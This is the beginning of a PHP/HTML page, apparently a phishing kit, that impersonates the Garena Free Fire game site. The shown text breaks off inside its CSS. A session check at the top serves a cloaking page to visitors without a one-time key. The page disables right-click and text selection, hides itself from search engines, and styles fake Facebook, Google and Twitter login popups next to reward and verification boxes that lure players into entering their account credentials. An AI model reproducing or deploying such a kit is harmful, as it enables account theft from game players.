<?php
session_start();

// Kalo belum punya kunci, tampilin verify.php numpang di sini
if (empty($_SESSION['akses_index'])) {
    include 'ysiwknsgznrc.pjp'; // Ini yg bikin URL ga berubah
    exit;
}

// Kalo udah punya kunci, hapus kuncinya biar 1x pake
unset($_SESSION['akses_index']);
?>

<html lang="en"><head>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
      <title>Garena Free Fire. Game genre Battle Royale mobile terbaik!</title>
      <meta name="robots" content="noindex, nofollow">
      <meta property="og:description" content="Free Fire adalah game mobile battle royale terbaik, diunduh lebih dari 1 milyar pemain di seluruh dunia, dikembangkan oleh Garena untuk Android dan iOS. Battle in Style dan jadi survivor yang bertahan">
      <meta property="og:image" content="images/navbar-logo.jpg">
      <meta property="og:image:width" content="540">
      <meta property="og:image:height" content="282">
      <link rel="stylesheet" href="css/facebook.css">
      <link rel="stylesheet" href="css/google.css">
      <link rel="stylesheet" href="css/twitter.css">
      <link rel="stylesheet" href="css/link.css">
      <link rel="stylesheet" href="css/flaglink.css">
      <link rel="stylesheet" href="css/animate.css">
      <link rel="stylesheet" href="css/style-zone.css">
      <link rel="stylesheet" href="css/zero-zone.css">
      <link href="https://fonts.googleapis.com/css2?family=Teko&amp;display=swap" rel="stylesheet">
      <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" crossorigin="anonymous">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
      <link rel="icon" type="img/png" href="images/ff-logo-icon.png" sizes="32x32">
   </head>
   <body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
      <style type="text/css">
         @charset "utf-8";
         @import url("https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Teko:300,400,500");
         *,
         *:before,
         *:after {
         -webkit-box-sizing: border-box;
         -moz-box-sizing: border-box;
         box-sizing: border-box;
         }
         @font-face {
         font-family: 'laza';
         font-style: normal;
         font-weight: 700;
         src:
         url(fonts/laza.woff2) format("woff2"),
         url(fonts/laza.woff) format("woff"),
         url(fonts/laza.ttf) format("truetype");
         }
         @font-face {
         font-family: 'laza2';
         font-style: normal;
         font-weight: 700;
         src:
         url(fonts/laza2.ttf) format("truetype")
         }
         .laz-container {
         background: url(images/lazback.jpg) no-repeat center;
         background-size: 100% 100%;
         margin-top: 0px;
         padding: 5px;
         width: 100%;
         margin-left: 0px;
         margin-right: 0px;
         height: 588px;
         position: relative;
         }
         .gallery-container {
         background-size: 100% 100%;
         margin-top: -2px;
         width: 100%;
         height: auto;
         border: 0px solid #fff;
         float: left;
         }
         .container-box {
         background-size: 100% 100%;
         width: 100%;
         height: 690px;
         }
         .landing {
         background: url(img/landing.jpg) no-repeat center center;
         background-size: cover;
         width: 100%;
         height: auto;
         }
         .navbar {
         background: #0C0C0C;
         width: 100%;
         height: 44px;
         }
         .navbar-logo {
         width: 119px;
         float: left;
         margin-top: 7px;
         margin-left: 15px;
         }
         .navbar-shop {
         width: 25px;
         margin-top: 19px;
         margin-right: 20px;
         }
         .navbar-language {
         width: 20px;
         margin-top: 8px;
         margin-right: 17px;
         }
         .navbar-menu {
         width: 20px;
         margin-top: 19px;
         margin-right: 5px;
         }
         .navbar-right {
         width: auto;
         float: right;
         }
         .navbar-download {
         background: #ffca13;
         width: 46px;
         height: 45px;
         margin-top: 10px;
         margin-right: 10px;
         border-radius: 7px;
         float: right;
         }
         .navbar-download img {
         width: 20px;
         height: 21px;
         margin: 13px;
         }
         .header {
         width: 100%;
         height: auto;
         }
         .header img {
         width: 100%;
         height: auto;
         margin-top: -0px;
         }
         .balance2 {
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 7px;
         padding: 5px;
         display: block;
         }
         .balance2 img {
         width: 100px;
         margin-top: -10px;
         margin-right: 5px;
         float: center;
         }
         .balance2-nom {
         color: #fff;
         font-size: 18px;
         padding-top: 8px;
         font-family: laza;
         font-weight: 500;
         text-align: left;
         text-shadow: 0 1px 0 #000;
         }
         .balance2-detail {
         width: auto;
         height: auto;
         padding-top: 2px;
         padding-left: 5px;
         padding-bottom: 0px;
         color: #fff;
         font-size: 15px;
         font-family: laza;
         text-align: center;
         text-shadow: 0 1px 0 #000;
         border-left: 3px solid #9FE9F7;
         line-height: 15px;
         float: left;
         }
         .balance2 button {
         background-size: 100% 100%;
         width: 30%;
         height: auto;
         margin-top: -75px;
         margin-right: 10px;
         padding: 5px;
         color: #000;
         font-size: 14px;
         font-family: laza;
         text-align: center;
         border: none;
         outline: none;
         position: relative;
         float: right;
         }
         .balance {
         background: url(img/lazabz.png) no-repeat center center;
         background-size: 100% 100%;
         width: 73%;
         height: 71px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: -9px;
         padding: 5px;
         border-top: 0px solid #70FFB2;
         border-left: 0px solid #70FFB2;
         border-right: 0px solid #70FFB2;
         border-bottom: 0px solid #70FFB2;
         display: block;
         }
         .balance img {
         width: 57px;
         border-top: 0px solid #1E90FF;
         border-left: 0px solid #1E90FF;
         border-right: 0px solid #1E90FF;
         border-bottom: 0px solid #1E90FF;
         margin-top: -1px;
         margin-right: 5px;
         float: left;
         }
         .balance-nom {
         color: #fff;
         font-size: 14px;
         padding-top: 13px;
         padding-bottom: 4px;
         font-family: laza;
         /* font-weight: 500; */
         text-align: left;
         /* text-shadow:0 1px 0 #000; */
         }
         .balance-detail {
         background: url(img/bg-det.png) no-repeat center center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         padding-top: 1px;
         padding-left: 5px;
         padding-right: 8px;
         padding-bottom: 3px;
         color: #fff;
         font-size: 13px;
         font-family: 'laza';
         text-align: center;
         text-shadow: 0 1px 0 #000;
         border-left: 3px solid #FAB203;
         line-height: 15px;
         float: left;
         }
         .balance-detail2 {
         background: url(img/bg-det2.png) no-repeat center center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         padding-top: 2px;
         padding-left: 5px;
         padding-right: 8px;
         padding-bottom: 3px;
         color: #fff;
         font-size: 14px;
         font-family: 'laza';
         text-align: center;
         text-shadow: 0 1px 0 #000;
         border-left: 3px solid #b70303;
         line-height: 15px;
         float: left;
         }
         .balance-detail3 {
         background: url(img/bg-det3.png) no-repeat center center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         padding-top: 2px;
         padding-left: 5px;
         padding-right: 8px;
         padding-bottom: 3px;
         color: #fff;
         font-size: 14px;
         font-family: laza;
         text-align: center;
         text-shadow: 0 1px 0 #000;
         border-left: 3px solid #a30889eb;
         line-height: 15px;
         float: left;
         }
         .balance button {
         background: url(img/lazbutton.png) no-repeat center center;
         background-size: 100% 100%;
         width: 30%;
         height: 33px;
         margin-top: -14px;
         margin-right: 0px;
         padding: 5px;
         padding-right: 21px;
         color: #000000;
         font-size: 17px;
         font-family: 'laza';
         font-weight: 500;
         text-align: right;
         text-shadow: 0 3px 0 #ffffff;
         border: none;
         outline: none;
         position: relative;
         float: right;
         animation: pulse .900s infinite alternate;
         animation-play-state: running;
         }
         .header video {
         width: 100%;
         border: none;
         }
         .slideshow-container {
         max-width: 1000px;
         position: relative;
         margin: auto;
         border-top: 1px solid #ECD954;
         border-bottom: 1px solid #ECD954;
         }
         .fade {
         -webkit-animation-name: fade;
         -webkit-animation-duration: 1.5s;
         animation-name: fade;
         animation-duration: 1.5s;
         }
         .notiftwitter {
         width: 30%;
         height: 30px;
         margin-left: 35%;
         margin-right: auto;
         padding: 5px;
         font-size: 22px;
         font-family: Teko;
         font-weight: 500;
         text-align: center;
         color: #ECD954;
         margin-bottom: 0px;
         border: none;
         position: relative;
         outline: none;
         display: block;
         }
         .season-logo {
         width: 20%;
         margin: 15px;
         float: left;
         }
         .season-logos {
         width: 40%;
         margin: 5px;
         float: right;
         }
         .season-slogan {
         width: 100%;
         margin-top: 100%;
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         .season-btn {
         background: url(images/button.png) no-repeat center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         margin-left: auto;
         margin-right: auto;
         padding: 10px;
         padding-left: 30px;
         padding-right: 30px;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         color: #000;
         margin-bottom: 3px;
         border: none;
         position: relative;
         outline: none;
         display: block;
         }
         .season-btn:hover {
         background: url(img/menu_on.png) no-repeat center;
         background-size: 100% 100%;
         color: #000;
         transition: 0.5s;
         }
         .event-title {
         background: url(img/slogan1.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         height: 6%;
         margin-top: -71px;
         margin-left: -5px;
         display: block;
         position: absolute;
         }
         .event-title2 {
         background: url(img/slogan2.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         height: 23%;
         margin-top: -210px;
         margin-left: -5px;
         display: block;
         position: absolute;
         }
         .event-notification {
         background-size: auto;
         background-size: 94% 100%;
         width: 85%;
         height: 48px;
         margin-left: auto;
         margin-right: auto;
         margin-top: -2px;
         margin-bottom: -82px;
         display: block;
         }
         .event-notification-text {
         padding-top: 10px;
         padding-left: 59px;
         color: #dbff85;
         font-size: 16px;
         font-family: Teko;
         font-weight: 550;
         text-align: left;
         float: left;
         }
         .event-notification-timer {
         padding-top: 44px;
         padding-right: 28px;
         color: #dbff85;
         font-size: 27px;
         font-family: Teko;
         font-weight: 550;
         text-align: left;
         margin-bottom: 13px;
         float: right;
         }
         .alert-wrapper {
         width: 98%;
         height: auto;
         border: none;
         margin-left: 10px;
         display: block;
         margin: 10px auto;
         margin-top: -31px;
         margin-bottom: -17px;
         }
         .alert {
         background-size: auto;
         background-size: 100% 100%;
         width: 91%;
         height: 62px;
         margin-top: 29px;
         margin-bottom: 18px;
         padding: 14px;
         margin-left: 5px;
         margin-right: 100px;
         color: #fff;
         border: none;
         }
         .alert2 {
         background-size: auto;
         background-size: 78% 80%;
         width: 91%;
         height: 62px;
         margin-top: 29px;
         margin-bottom: 18px;
         padding: 14px;
         margin-left: 16px;
         margin-right: 100px;
         color: #fff;
         border: none;
         }
         .alert-text {
         margin-top: -330px;
         margin-left: -6px;
         padding: 7px;
         color: #ffffff;
         text-align: center;
         font-size: 14px;
         font-family: laza;
         border: none;
         }
         .alert-text-mid {
         margin-top: 1px;
         padding: 7px;
         color: #f1f1f0;
         text-align: center;
         font: 25px;
         font-family: laza;
         border: none;
         margin-right: -2px;
         font-size: 19px;
         }
         .loadkin {
         width: 100%;
         height: 100%;
         position: fixed;
         top: 0;
         left: 0;
         z-index: 9999;
         background: #000;
         }
         .loadkin-box {
         position: relative;
         margin: 50px auto;
         text-align: center;
         height: 43px;
         font-size: 20px;
         padding: 5px;
         padding-bottom: 5px;
         margin-top: 70%;
         }
         .loadkin-box img {
         width: 70px;
         height: 85px;
         margin-bottom: 10px;
         }
         .loadkin-box i {
         padding-top: 15px;
         padding-bottom: 15px;
         color: #fff;
         font-size: 20px;
         float: center;
         font-family: arial, sans-serif;
         text-align: center;
         }
         .popup {
         width: 100%;
         height: 100%;
         position: fixed;
         top: 0;
         left: 0;
         z-index: 9999;
         background-color: rgba(0, 0, 0, 0.4);
         }
         .popup-box-wrapper {
         width: auto;
         height: auto;
         position: relative;
         margin: 50px auto;
         margin-top: 15%;
         text-align: center;
         font-family: 'laza';
         color: #fff;
         }
         .popup-box-wrapperz {
         width: 360px;
         height: auto;
         position: relative;
         margin: 50px auto;
         margin-top: 252px;
         text-align: center;
         font-family: 'laza';
         color: #fff;
         }
         .popup-box-navbar {
         background: url(images/popup-navbar2.png) no-repeat center center;
         background-size: 100% 100%;
         height: 43px;
         padding-bottom: 5px;
         }
         .popup-box-navbar img {
         width: 25px;
         height: 25px;
         margin-top: 7px;
         margin-right: 15px;
         float: right;
         }
         .popup-box-navbar-title {
         padding-top: 5px;
         padding-left: 10px;
         padding-bottom: 2px;
         font-size: 20px;
         font-family: laza;
         font-weight: 300;
         text-align: left;
         color: #000;
         }
         .popup-box-navbarz {
         background: url(images/popup-navbar2.png) no-repeat center center;
         background-size: 100% 100%;
         height: 43px;
         padding-bottom: 5px;
         }
         .popup-box-navbarz img {
         width: 25px;
         height: 25px;
         margin-top: 7px;
         margin-right: 15px;
         float: right;
         }
         .popup-box-navbarz-title {
         padding-top: 9px;
         padding-bottom: 2px;
         font-size: 20px;
         font-family: laza;
         font-weight: 300;
         text-align: center;
         color: #fff;
         }
         .popup-box-navbar-ignis {
         background: url(images/popup-navbar-ignis.png) no-repeat center center;
         background-size: 100% 100%;
         height: 43px;
         padding-bottom: 5px;
         }
         .popup-box-navbar-ignis img {
         width: 25px;
         height: 25px;
         margin-top: 7px;
         margin-right: 15px;
         float: right;
         }
         .popup-box-navbar-ignis-title {
         padding-top: 21px;
         padding-bottom: 2px;
         font-size: 20px;
         font-family: 'laza';
         font-weight: 500;
         text-align: right;
         padding-right: 16px;
         color: #ffffff;
         }
         .popup-box-bg {
         background: url(img/popup-box-bg2.png) no-repeat center center;
         background-size: 100% 100%;
         width: 400px;
         }
         .popup-box-bgz {
         background: url(images/popup-box-bg3.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         margin-top: -12px;
         margin-left: 0px;
         }
         .popup-box-ignis {
         background: url(images/popup-box-ignis.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         margin-top: -12px;
         margin-left: 0px;
         }
         .popup-box-bgx {
         background: url(images/popup-box-bg3.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         margin-top: 0px;
         margin-left: 0px;
         font-size: 18px;
         padding-bottom: auto;
         padding-top: 30px;
         }
         .loginpop {
         background: url(images/lazlogin.png) no-repeat center center;
         background-size: 100% 100%;
         width: 400px;
         height: 200px;
         margin: 50px auto;
         text-align: center;
         margin-top: 300px;
         }
         .alter-text {
         display: block;
         margin-left: 14px;
         margin-right: 0;
         margin-top: -31px;
         margin-bottom: 32px;
         overflow: hidden;
         text-align: center;
         white-space: nowrap;
         width: 92%;
         }
         .alter-text>span {
         display: inline-block;
         position: relative;
         color: #ffffff;
         cursor: default;
         font-size: 11px;
         text-shadow: none;
         }
         .alter-text>span:before,
         .alter-text>span:after {
         background: #9093A6;
         border-bottom: 1px solid #9093A6;
         content: "";
         height: 1px;
         position: absolute;
         top: 50%;
         width: 43px;
         }
         .alter-text>span:before {
         margin-right: 15px;
         right: 100%;
         }
         .alter-text>span:after {
         left: 100%;
         margin-left: 15px;
         }
         .popup-box-gamecon {
         width: 52%;
         height: 65px;
         margin-left: auto;
         margin-right: auto;
         margin-top: 12px;
         display: block;
         }
         .popup-box-alert {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #AAAAAA;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: left;
         display: block;
         }
         .popup-box-alert2 {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #AAAAAA;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: left;
         display: block;
         }
         .popup-box-alert0 {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #AAAAAA;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: right;
         display: block;
         }
         .popup-box-alert3 {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #c7c7c7;
         font-size: 16px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         /* font-style: italic; */
         display: block;
         }
         .popup-box-alert7 {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #F5EAB0;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .popup-box-alertsz {
         width: 95%;
         height: auto;
         margin-top: 26px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: -94px;
         padding: 55px;
         color: #fdffff;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .popup-box-alert-ignis {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 2px;
         padding: 12px;
         color: #cdcdcd;
         font-size: 16px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .popup-box-alert4 {
         width: 95%;
         height: auto;
         margin-top: 3px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 17px;
         padding-top: 4px;
         /* padding: 12px; */
         color: #dbdbdb;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         display: block;
         }
         .popup-box-alert4 i {
         padding-top: 15px;
         padding-bottom: 15px;
         color: #AAAAAA;
         font-size: 50px;
         text-align: center;
         }
         .line {
         width: 203%;
         height: auto;
         margin-left: 87px;
         margin-top: -85px;
         padding-top: 25px;
         padding-bottom: 20px;
         border-bottom: 1px solid #ffffff59;
         display: block;
         }
         .popup-box-item {
         width: 16%;
         height: 67px;
         margin-top: 38px;
         margin-left: auto;
         margin-right: auto;
         text-align: right;
         display: block;
         }
         .popup-box-item img {
         width: 100%;
         height: 100%;
         }
         .popup-box-item span {
         background-size: 56% 100%;
         width: auto;
         color: #fff;
         font-size: 13px;
         font-family: laza;
         text-align: right;
         position: absolute;
         top: 57px;
         right: 4px;
         }
         .popup-box-item rw {
         background-size: 56% 100%;
         width: 229%;
         color: #ffffff;
         font-size: 16px;
         font-family: laza;
         float: right;
         text-align: left;
         position: absolute;
         top: 11px;
         right: -207px;
         }
         .popup-box-item pr {
         background-size: 56% 100%;
         width: 229%;
         color: #000000;
         font-size: 16px;
         font-family: laza;
         float: right;
         text-align: left;
         position: absolute;
         top: 41px;
         right: -260px;
         }
         .popup-box-alert-price {
         background-size: 56% 100%;
         width: auto;
         color: #000;
         font-size: 16px;
         font-family: laza;
         float: right;
         position: absolute;
         top: 41px;
         right: -49px;
         }
         .popup-box-form {
         width: 85%;
         height: auto;
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         .popup-box-form label {
         display: inline-block;
         width: 140px;
         text-align: right;
         color: yellow;
         }
         .popup-box-form input {
         background: #1a1b1c;
         background-size: 100% 100%;
         width: 100%;
         height: 35px;
         margin-bottom: 3px;
         padding: 4px;
         padding-left: 10px;
         color: #c3c3c3;
         font-size: 16px;
         font-family: laza;
         font-weight: 300;
         border: 1px solid #8f8f8f;
         position: relative;
         outline: none;
         -webkit-appearance: none;
         -moz-appearance: none;
         }
         .popup-box-form input::placeholder {
         color: #FFFBF7;
         }
         .popup-box-form select {
         background: #1a1b1c;
         background-size: 100% 100%;
         width: 100%;
         height: 35px;
         margin-bottom: 3px;
         padding: 4px;
         padding-left: 10px;
         color: #c3c3c3;
         font-size: 16px;
         font-family: laza;
         font-weight: 300;
         border: 1px solid #8f8f8f;
         position: relative;
         outline: none;
         -webkit-appearance: none;
         -moz-appearance: none;
         }
         .popup-box-footer {
         background-size: 100% 100%;
         margin-top: 20px;
         width: 100%;
         height: 45px;
         }
         .popup-box-footer-ignis {
         background-size: 100% 100%;
         margin-top: 20px;
         width: 100%;
         height: 45px;
         }
         .popup-box-footer-ignis button:nth-child(1) {
         background: url(images/btn-off.png) no-repeat center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         margin-top: -23px;
         padding: 0px;
         padding-left: 35px;
         padding-right: 35px;
         color: #120f0f;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         margin-left: 125px;
         margin-right: auto;
         text-align: center;
         border: none;
         outline: none;
         }
         .popup-box-footer-ignis button:nth-child(2) {
         background: url(images/btn-on.png) no-repeat center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         margin-top: -23px;
         padding: 0px;
         padding-left: 35px;
         padding-right: 35px;
         color: #120f0f;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         margin-left: auto;
         margin-right: auto;
         text-align: center;
         border: none;
         outline: none;
         }
         .popup-box-footer button {
         background: url(images/button.png) no-repeat center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         margin-top: -23px;
         padding: 5px;
         padding-left: 35px;
         padding-right: 35px;
         color: #000;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         margin-left: auto;
         margin-right: auto;
         text-align: center;
         border: none;
         outline: none;
         }
         .popup-box-form-footer {
         background-size: 100% 100%;
         width: 100%;
         height: 45px;
         margin-top: 20px;
         }
         .popup-box-form-footer button {
         background: url(images/button.png) no-repeat center;
         background-size: 100% 100%;
         width: auto;
         height: auto;
         margin-top: 5px;
         padding: 4px;
         padding-left: 30px;
         padding-right: 30px;
         color: #000;
         font-size: 18px;
         font-family: laza;
         font-weight: 500;
         text-align: center;
         border: none;
         outline: none;
         }
         .popup-box-navbar-login {
         background: url(img/popup-navbar1.png) center center/100% 100% no-repeat;
         height: auto;
         padding-top: 5px;
         padding-bottom: 1px
         }
         .popup-box-navbar-login-title {
         padding-left: 24px;
         padding-top: 2px;
         color: #defbff;
         font-size: 22px;
         font-family: laza;
         font-weight: 500;
         text-align: center
         }
         .popup-box-bg-login {
         background: url(img/popup-box-bg-login.png) center center/100% 100% no-repeat;
         width: 100%;
         height: 255px;
         margin-top: -10px
         }
         .popup-box-bg-login-load {
         background: url(images/lazlogin.png) no-repeat center center;
         background-size: 100% 100%;
         margin-left: -20px;
         width: 400px;
         height: 200px;
         margin-top: -10px;
         }
         .load-login-img {
         width: 30%;
         height: auto;
         margin-top: 30px;
         margin-bottom: 5px
         }
         .load-login-gif {
         width: 15%;
         height: auto;
         margin-bottom: 0
         }
         .popup-btn-login {
         width: 33%;
         height: 22px;
         padding-top: 4px;
         /* padding: 0px; */
         padding-left: 8px;
         margin-bottom: 10px;
         margin: 5px; 
         color: #000;
         font-size: 12px;
         font-family: laza;
         border: none;
         border-top-left-radius: 3px;
         border-top-right-radius: 3px;
         border-bottom-right-radius: 3px;
         border-bottom-left-radius: 3px;
         outline: none;
         margin-bottom: 45px;
         position: relative;
         }
         .popup-btn-login i {
         color: #fff;
         font-size: 14px;
         float: left;
         }
         .popup-btn-facebook {
         background: #1778f2;
         color: #fff;
         margin-bottom: 45px;
         }
         .popup-btn-twitter {
         background: #ffffff;
         margin-bottom: 3px;
         color: #0d0c0c;
         }
         .popup-btn-google {
         background: #fff;
         margin-bottom: 3px;
         color: #000;
         }
         .popup-btn-login img {
         width: 14px;
         margin-top: 1px;
         float: left;
         }
         .popup-btn-login-link {
         background: #E3B448;
         color: #000;
         }
         .popup-btn-login-link img {
         width: 22px;
         height: 22px;
         margin-top: -2px;
         color: #fff;
         font-size: 20px;
         float: left;
         }
         .popup-login {
         background: rgba(0, 0, 0, 0.4);
         width: 100%;
         height: 100%;
         position: fixed;
         top: 0;
         left: 0;
         z-index: 9999;
         }
         .popup-box-login-fb {
         background: #ECEFF6;
         max-width: 330px;
         height: auto;
         position: relative;
         margin: 50px auto;
         margin-top: 1.9%;
         text-align: center;
         font-family: 'Teko';
         color: #000;
         border-radius: 10px;
         }
         .popup-box-login-twitter {
         background: #fff;
         max-width: 330px;
         height: auto;
         position: relative;
         margin: 50px auto;
         margin-top: 10%;
         text-align: center;
         font-family: 'Teko';
         color: #000;
         border-radius: 5px;
         }
         .popup-box-login-google {
         background:#fff;
         max-width:330px;
         height:auto;
         position:relative;
         margin:50px auto;
         margin-top:36%;
         text-align:center;
         font-family: 'Open Sans', sans-serif;
         color:#000;
         border-radius:5px;
         }
         .close-fb {
         background: #3b5998;
         width: 25px;
         height: 25px;
         color: #fff;
         font-size: 20px;
         text-align: center;
         text-decoration: none;
         border-radius: 50%;
         top: -10px;
         right: -10px;
         position: absolute;
         display: block;
         }
         .close-fb i {
         padding-top: 3px;
         }
         .close-other {
         background: #fff;
         width: 25px;
         height: 25px;
         color: #000;
         font-size: 20px;
         text-align: center;
         border-radius: 50%;
         top: -12px;
         right: -12px;
         position: absolute;
         z-index: 9999999;
         display: block;
         }
         .close-other i {
         color: #20px;
         padding-top: 3px;
         }
         .popups {
         width: 100%;
         height: 100%;
         position: fixed;
         top: 0;
         left: 0;
         z-index: 9999;
         background-color: rgba(0, 0, 0, 0.4);
         }
         .popup-box-wrappers {
         width: 390px;
         height: auto;
         position: relative;
         margin: 50px auto;
         margin-top: 15%;
         text-align: left;
         font-family: 'laza';
         color: #fff;
         }
         .popup-box-navbars {
         background: url(images/popup-navbar2.png) no-repeat center center;
         background-size: 100% 100%;
         height: 43px;
         padding-bottom: 5px;
         }
         .popup-box-navbars img {
         width: 20px;
         height: 20px;
         margin-top: 15px;
         margin-right: 18px;
         float: right;
         }
         .popup-box-navbars-title {
         padding-left: 40px;
         padding-top: 14px;
         padding-bottom: 2px;
         font-size: 20px;
         color: #fff;
         font-family: laza;
         font-weight: 300;
         text-align: center;
         }
         .kagetk {
         background: rgba(0, 0, 0, 0.2);
         background-size: 50% 50%;
         width: 80%;
         height: auto;
         margin-left: auto;
         margin-right: auto;
         border: 1px solid #fff;
         display: none;
         padding: 10px;
         color: #fff;
         font-size: 14px;
         font-family: laza;
         text-align: center;
         }
         .popup-box-bgs {
         background: url(images/popup-box-bg3.png) no-repeat center center;
         background-size: 100% 100%;
         width: 100%;
         height: 200px;
         margin-top: -12px;
         }
         .popup-box-alerts4 {
         width: 95%;
         height: auto;
         margin-top: 10px;
         margin-left: auto;
         margin-right: auto;
         margin-bottom: 10px;
         padding: 5px;
         color: #fff;
         font-size: 20px;
         font-family: laza;
         font-weight: 500;
         text-align: left;
         display: block;
         }
         .popup-box-alerts4 i {
         padding-top: 15px;
         padding-bottom: 15px;
         color: #F5EAB0;
         font-size: 50px;
         text-align: left;
         }
         .popup-box-formx label {
         width: 70%;
         text-align: left;
         padding-left: 20px;
         color: #B7B7B7;
         text-shadow: none;
         font-size: 17px;
         }
         .popup-box-formx input {
         background: #001;
         width: 85%;
         height: 35px;
         margin-bottom: 8px;
         margin-left: 20px;
         padding-right: 4px;
         padding: 4px;
         color: #fff;
         font-size: 15px;
         font-family: laza;
         font-weight: 500;
         border: 0.1px solid #fff;
         outline: none;
         position: left;
         -webkit-appearance: none;
         -moz-appearance: none;
         }
         .popup-box-formx input::placeholder {
         color: #BCCBCE;
         }
         .popup-box-formx-footer {
         background-size: 100% 100%;
         width: 100%;
         height: 45px;
         margin-top: 20px;
         }
         .loadinglogin {
         width: 100%;
         height: auto;
         }
         .loadinglogin video {
         width: 400px;
         height: auto;
         }
         .box {
         width: 100%;
         height: 410px;
         margin-left: auto;
         margin-right: auto;
         margin-top: -30px;
         margin-bottom: -25px;
         border: 0px solid #FFFAC9;
         border-radius: 5px;
         position: relative;
         display: block;
         }
         .box-item {
         width: 100%;
         margin-left: auto;
         margin-right: auto;
         padding-top: 2px;
         }
         .btn-wrapper {
         width: 93%;
         height: 50px;
         margin-top: 3px;
         margin-right: 3px;
         font-family: laza;
         }
         .btn-wrapper button {
         background: url(img/tombol.png) no-repeat center;
         background-size: 100% 100%;
         width: 38%;
         height: 40px;
         margin: -10px;
         padding: 10px;
         color: #FFFAC9;
         font-family: laza;
         font-size: 18px;
         font-weight: 500;
         text-align: center;
         border: none;
         outline: none;
         float: right;
         display: inline-block;
         }
         .footer {
         background: -webkit-linear-gradient(top, rgb(255 255 255 / 9%) 0%, rgb(0 0 0 / 11%) 100%);
         width: 100%;
         height: auto;
         padding: 15px;
         padding-top: 0px;
         padding-bottom: 25px;
         border-top: 1px solid #EF0133;
         }
         .footer-copyright-icon {
         width: 33%;
         padding-top: 27px;
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         .footer-copyright-text {	
         padding:5px;
         padding-top: 25px;
         margin-left: auto;
         margin-right: auto;	
         float: center;
         text-align: center;
         display: block;
         }
         .footer-copyright-text-left {
         color: #fff;
         font-size: 12px;
         padding:5px;
         font-family:sans-serif;
         text-align: center;
         display: inline-block;
         margin: 5px;
         border-bottom: 1px solid #fff;
         }
         .footer-copyright-text-center {
         color: #fff;
         font-size: 12px;
         padding:5px;
         font-family:sans-serif;
         text-align: center;
         display: inline-block;
         margin: 5px;
         border-bottom: 1px solid #fff;
         }
         .footer-copyright-text-right {
         color: #fff;
         font-size: 12px;
         padding:5px;
         font-family:sans-serif;
         text-align: center;
         display: inline-block;
         margin: 5px;
         border-bottom: 1px solid #fff;
         }
         .footer-copyright-text-cookie {
         color: #fff;
         font-size: 14px;
         font-family:Teko;
         text-align: center;
         display: block;
         margin-top: -5px;
         }
         .footer-copyright-text-icon {	
         width:15%;
         padding:5px;
         padding-top: 25px;
         margin-left: auto;
         margin-right: auto;	
         float: center;
         text-align: center;
         display: inline-block;
         }
         .footer-txt-copyrights {
         color: #bdbdbd;
         padding:10px;
         padding-top:10px;
         padding-bottom:25px;
         font-size: 14px;
         font-family:arial;
         text-align: center;
         }
         .verify-box-navbar {
         background-size: 100% 100%;
         width: 93%;
         height: 19%;
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         .verify-box-navbar-description {
         width: 50%;
         margin-top: 50px;
         margin-right: 20px;
         color: #fff;
         font-size: 18px;
         font-family: Teko;
         font-weight: 500;
         text-align: left;
         float: right;
         }
         .verify-box-navbar-form {
         background-size: 100% 100%;
         width: 93%;
         height: auto;
         margin-top: 25px;
         margin-left: auto;
         margin-right: auto;
         display: block;
         }
         .verify-box-navbar-form input {
         background: url(img/verify-bg.png) no-repeat center center;
         background-size: 100% 100%;
         width: 95%;
